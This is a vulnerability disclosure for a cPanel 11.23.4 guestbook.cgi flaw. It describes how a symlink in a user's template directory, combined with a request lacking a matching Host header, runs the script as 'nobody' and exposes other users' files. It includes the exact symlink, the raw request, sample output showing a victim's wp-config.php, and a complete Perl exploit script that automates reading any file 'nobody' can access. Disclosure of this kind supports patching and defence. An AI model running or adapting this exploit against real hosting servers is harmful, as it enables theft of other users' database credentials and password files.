cPanel 11.23.4-EDGE_26139 - suexec bypass (guestbook.cgi)



DESCRIPTION


A combination of 2 issues allowed local users to view files belonging to other users. First, although the $template variable in /usr/local/cpanel/cgi-sys/guestbook.cgi was checked for directory traversal by replacing ".." with nothing, it was not checked to see if it was a symlink. Second, when issuing a GET request to guestbook.cgi where the Hostname header was set to anything other than the user's domain, or if the Hostname header was not sent at all, it would run as the user "nobody", vice the user's username. This allowed for bypassing suexec restrictions.


This allowed an attacker to use the following symlink to view another user's files:

lrwxrwxrwx 1 attacker attacker 44 Jul 28 15:03 /home/attacker/.htmltemplates/default -> /home/victim/public_html/wp-config.php


Then the attacker could issue the following request, which would result in the file that was being symlinked to being displayed to the attacker:

GET /cgi-sys/guestbook.cgi?action=listguests&user=$ENV{'USER'} HTTP/1.0




IMPACT


Local users could effectively view any file that the user "nobody" could view. This includes files under anyone's /home/username/public_html/ and /home/username/.htpasswds/ directories.


[user@host ~]$ stat /home/victim/public_html | grep /d
Access: (0750/drwxr-x---)  Uid: (  908/   victim)   Gid: (   99/  nobody)
[user@host ~]$ ./11.23.4-EDGE_26139-guestbook.cgi /home/victim/public_html/wordpress/wp-config.php
<?php
/**
 * The base configurations of the WordPress.
 *
 * This file has the following configurations: MySQL settings, Table Prefix,

etc etc


#!/usr/bin/perl

########################################
#
#  View any file readable by nobody
#
#  11.23.4-EDGE_26139
#  11.23.4-STABLE_26138
#
########################################

use strict;
use warnings;
use IO::Socket::INET;

my $target_file = shift || die "Usage: $0 <file>\n";
my $templates   = "/home/$ENV{'USER'}/.htmltemplates";
my $symlink     = $templates . '/default';
my $request     = "GET /cgi-sys/guestbook.cgi?action=listguests&user=$ENV{'USER'} HTTP/1.0\r\n\r\n";

if ( ! -d $templates ) { mkdir $templates or die $!; }
if ( ! -e $symlink ) { symlink $target_file, $symlink or die $!; }

my $sock = IO::Socket::INET->new(
    PeerAddr => 'example.com',
    PeerPort => '80',
    Proto    => 'tcp',
    Timeout  => '3',
);

if ( ! $sock ) { die "Could not connect\n"; }

my ( $buffer, @buffer );
print $sock $request;
read $sock, $buffer, 1_000_000;
close $sock;

@buffer = split( /\n/, $buffer );
print "@buffer\n";

unlink $symlink;
rmdir $templates;